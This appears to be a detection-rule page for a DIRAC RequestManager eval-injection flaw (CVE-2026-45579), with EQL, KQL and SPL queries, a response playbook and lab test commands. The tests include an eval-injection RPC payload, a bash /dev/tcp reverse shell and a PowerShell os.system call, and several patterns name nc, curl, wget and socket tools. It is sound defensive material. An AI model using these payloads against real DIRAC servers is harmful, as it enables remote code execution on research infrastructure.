CVE-2026-45579 Elastic Security · Elastic

Detect DIRAC RequestManager eval() Remote Code Execution (CVE-2026-45579) in Elastic Security

Detects exploitation attempts and successful compromise of DIRAC's RequestManager component via CVE-2026-45579, a CWE-95 (Eval Injection) vulnerability where untrusted RPC input passed to RequestManager is evaluated via Python's eval() function, resulting in unauthenticated or low-privilege remote code execution. Affected DIRAC (pip package) versions are >=6,<8.0.79, >=8.1.0a1,<9.0.22, and >=9.1.0,<9.1.10. A public PoC exists (GHSA-9jpv-c7p4-997x). Detection focuses on anomalous eval-triggering payloads sent to DIRAC RequestManager RPC/DISET endpoints, resulting child process spawns from DIRAC service processes, and post-exploitation artifacts consistent with grid/HPC computing infrastructure compromise.

MITRE ATT&CK

Tactic
Initial Access Execution Lateral Movement

Elastic Detection Query

Elastic Security (Elastic)
eql 
process where event.type == "start" and
  process.parent.name : ("python", "python3") and
  process.parent.command_line : ("*RequestManager*", "*dirac-service*", "*dirac-request*") and
  process.command_line : ("*eval(*", "*__import__*", "*os.system*", "*subprocess*", "*socket.socket*", "*/bin/sh*", "*base64*")
critical severity medium confidence

Elastic EQL rule identifying process spawns from DIRAC RequestManager/service Python parent processes with command lines containing eval-injection markers indicative of CVE-2026-45579 exploitation.

Data Sources

Elastic Endpoint SecurityAuditbeat

Required Tables

process

False Positives & Tuning

  • Administrator-run diagnostic or debug scripts on DIRAC hosts
  • Automated test suites validating RequestManager RPC handling
  • Legitimate configuration management tools that call similar Python primitives

Other platforms for CVE-2026-45579

Microsoft Sentinel (KQL) Splunk (SPL) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate DIRAC RequestManager eval() RCE via crafted RPC payload

    Expected signal: Process creation event showing python3 (DIRAC RequestManager service) spawning /bin/sh -c "id > /tmp/dirac_poc_out" or equivalent child process with eval-injection command-line markers

  2. Test 2Simulate reverse shell spawned from DIRAC service process

    Expected signal: Bash process with /dev/tcp redirection spawned by a process whose parent command line references RequestManager/dirac-service, plus an outbound TCP connection on port 4444

  3. Test 3Simulate malicious eval() injection payload execution on Windows lab host

    Expected signal: DeviceProcessEvents entry showing python.exe spawning cmd.exe/whoami with a parent command line simulation referencing RequestManager, writing output to a temp file

Last updated: 2026-08-01 Research depth: standard
References (5)

Response Playbook

Triage

  1. Identify all DIRAC server instances (RequestManager, DISET services) exposed to the network and confirm installed version against affected ranges (>=6,<8.0.79; >=8.1.0a1,<9.0.22; >=9.1.0,<9.1.10) using `pip show DIRAC` or `dirac-version`.
  2. Review RequestManager service logs and RPC access logs for anomalous serialized requests, unexpected eval() invocations, or malformed request objects around the alert timeframe.
  3. Correlate alerting host's process tree for child processes (shells, interpreters, network utilities) spawned by the DIRAC service account, and capture full command lines and parent-child relationships.
  4. Check outbound network connections initiated by the DIRAC service process for connections to unfamiliar IPs/domains, which may indicate reverse shell or C2 callback activity.
  5. Assess whether the DIRAC instance has access to grid computing credentials, proxy certificates, or job submission capability that could be leveraged for lateral movement into HPC/grid resources.

Containment

  1. Isolate the affected DIRAC RequestManager host from the network (or restrict to management-only access) while preserving process and network state for forensics.
  2. Disable or firewall the RequestManager RPC/DISET listening port(s) to prevent further exploitation attempts until the service is patched or replaced.
  3. Revoke and rotate any grid proxy certificates, service account credentials, or API tokens accessible to the compromised DIRAC service.

Evidence Collection

  1. Collect full process command-line history, memory dumps, and DIRAC service logs (RequestManager, DISET) covering the suspected exploitation window.
  2. Preserve network capture/flow logs showing inbound RPC requests to RequestManager and any outbound connections from the DIRAC host for IOC extraction and timeline reconstruction.
  3. Export DIRAC RequestDB / RequestManager database entries around the incident timeframe to identify the malicious request payload used for eval injection.

Escalation Criteria

  • !Escalate to incident response if evidence of successful code execution (unexpected child processes, new user accounts, dropped binaries, or outbound C2 connections) is confirmed on the DIRAC host.
  • !Escalate immediately if the compromised DIRAC instance had access to shared grid/HPC computing resources, scientific data stores, or federated credentials, given the potential for lateral movement across research infrastructure.
  • !Escalate if multiple DIRAC instances across the organization show similar exploitation indicators, suggesting a coordinated or automated mass-exploitation campaign against the public PoC.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >DIRAC RequestManager and DISET service log files containing raw RPC request payloads
  • >Process creation/child-process telemetry (Sysmon Event ID 1 / EDR ProcessRollup2) showing shells or interpreters spawned by the DIRAC service process
  • >DIRAC RequestDB database records containing the malicious serialized request that triggered eval()
  • >Bash/shell history and dropped files/scripts in the DIRAC service account's home or working directory

Tuning Guidance

Baseline normal DIRAC administrative and CI/CD activity that legitimately invokes eval() or spawns Python subprocesses (e.g., automated test suites, maintenance scripts) and create allowlist exceptions for known service accounts, scheduled task identifiers, and CI runner hostnames. Tune out benign monitoring agents that instrument Python processes with overlapping command-line strings. Increase confidence when child processes include network tools (curl, wget, nc), reverse shell patterns (/bin/sh -i, socket.socket), or connections to external/unfamiliar IPs, and prioritize alerts on internet-facing DIRAC instances given the 9.9 CVSS score and public PoC availability.

Hunting Queries

Broad hunt for any process spawned under the DIRAC service account or from DIRAC installation paths that results in shell, interpreter, or network utility execution, to surface exploitation attempts beyond the specific eval() signature patterns.

Hunting — KQL
kql 
DeviceProcessEvents
| where InitiatingProcessAccountName has "dirac" or InitiatingProcessFolderPath has "DIRAC"
| where FileName in~ ("sh","bash","python","python3","curl","wget","nc")
| project TimeGenerated, DeviceName, InitiatingProcessAccountName, InitiatingProcessCommandLine, FileName, ProcessCommandLine
| order by TimeGenerated desc
Hunting — SPL
spl 
index=edr (User="*dirac*" OR ParentImage="*DIRAC*")
| where Image IN ("*sh", "*bash", "*python*", "*curl*", "*wget*", "*nc*")
| table _time, host, User, ParentCommandLine, CommandLine

Atomic Red Team Tests

Test 1 Simulate DIRAC RequestManager eval() RCE via crafted RPC payload
linux

Sends a crafted RPC request to a lab DIRAC RequestManager instance containing a Python eval() payload to simulate CVE-2026-45579 exploitation and confirm code execution telemetry.

Command

bash 
python3 -c "import socket,ssl,json; payload=json.dumps({'method':'requestManager.putRequest','args':['__import__(\"os\").system(\"id > /tmp/dirac_poc_out\")']}); s=socket.create_connection(('127.0.0.1',9143)); s.sendall(payload.encode()); print(s.recv(4096))"

Cleanup

bash 
rm -f /tmp/dirac_poc_out

Expected Telemetry

Process creation event showing python3 (DIRAC RequestManager service) spawning /bin/sh -c "id > /tmp/dirac_poc_out" or equivalent child process with eval-injection command-line markers

Expected Detection

kql and spl rules alert on child process spawned from DIRAC RequestManager parent process containing os.system/eval indicators

Test 2 Simulate reverse shell spawned from DIRAC service process
linux

Emulates a post-exploitation reverse shell being spawned from a process masquerading as the DIRAC RequestManager service to validate detection of outbound C2-style child processes.

Command

bash 
python3 -c "import subprocess; subprocess.Popen(['bash','-c','exec 5<>/dev/tcp/127.0.0.1/4444; cat <&5 | while read line; do \$line >&5 2>&1; done'])" # ParentCommandLine should reference RequestManager for lab simulation, e.g. rename script to dirac-RequestManager-sim.py

Cleanup

bash 
pkill -f 'dev/tcp/127.0.0.1/4444' || true

Expected Telemetry

Bash process with /dev/tcp redirection spawned by a process whose parent command line references RequestManager/dirac-service, plus an outbound TCP connection on port 4444

Expected Detection

elastic_eql and crowdstrike_cql rules flag the bash child process with reverse-shell syntax spawned from a DIRAC-labeled parent process

Test 3 Simulate malicious eval() injection payload execution on Windows lab host
windows

Executes a PowerShell-based simulation representing a Windows-hosted DIRAC client component invoking eval-like dynamic code execution to validate cross-platform detection coverage.

Command

powershell 
powershell.exe -NoProfile -Command "$parent='RequestManager-sim'; Start-Process -FilePath python.exe -ArgumentList '-c \"import os; os.system(''whoami > C:\\Windows\\Temp\\dirac_poc_out.txt'')\"'"

Cleanup

powershell 
Remove-Item -Path 'C:\Windows\Temp\dirac_poc_out.txt' -ErrorAction SilentlyContinue

Expected Telemetry

DeviceProcessEvents entry showing python.exe spawning cmd.exe/whoami with a parent command line simulation referencing RequestManager, writing output to a temp file

Expected Detection

kql rule (DeviceProcessEvents) alerts on python.exe-initiated child process containing os.system and RequestManager parent context

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0008Lateral Movement

Related Techniques

T1190Exploit Public-Facing ApplicationT1059.006PythonT1071.001Web Protocols

Same Tactic: Initial Access

Popular Detections